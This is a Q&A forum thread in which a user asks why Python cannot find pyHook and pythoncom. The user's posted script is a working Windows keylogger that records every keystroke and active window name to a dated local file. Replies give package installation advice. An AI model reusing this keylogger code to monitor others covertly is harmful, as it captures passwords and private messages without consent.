1

So in my code i have all the modules that i am using installed, but i always get the error saying it cannot find the module. Please help thanks.

Code:

 import pyHook, pythoncom, sys, logging , os , winsound , time date = "C:\\Users\\Cameron PC\\Desktop\\Essays\\files\\keyloggeroutput" date += time.strftime("%d.%m.%Y") + ".txt" x = time.ctime() with open(date, "a") as f: f.write("\n") f.write("[" + x + "] : " ) def OnKeyboardEvent(event): global x if event.Key =="Return" : with open(date, "a") as f: f.write(" {Enter}\n") f.write("[" + x +"|"+event.WindowName + "] : " ) elif event.Key == "Space" : with open(date, "a") as f: f.write(" ") elif event.Key == "Back" : with open(date, "a") as f: f.write("{Bkspc}") else : with open(date, "a") as f: f.write(event.Key) return True hooks_manager = pyHook.HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages() 
0

1 Answer 1

0

Try the following:

First, download the pyhook from here, make sure you chose the correct version.

Second, open cmd at the downloaded folder and type pip install pyHook-1.5.1-cp27-none-win32.whl or if you chose other version, type the relevant version.

Sign up to request clarification or add additional context in comments.

9 Comments

thanks mate that fixed the pyHook problem but im still getting the same issue with Pythoncom and when i do the pip thing i get a long red code and it doesnt work in python.
You can read here for pythoncom help. Kindly ask to accept the answer whether it resolved your issue.
Tnx, please update whether the pythoncom lib problem is fixed.
no sorry, when i ran the exe file it froze for a while and said i did not have python 2.7(which i do). It happens every time i try it even with re downloading it.
Did you install pywin32?
|

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.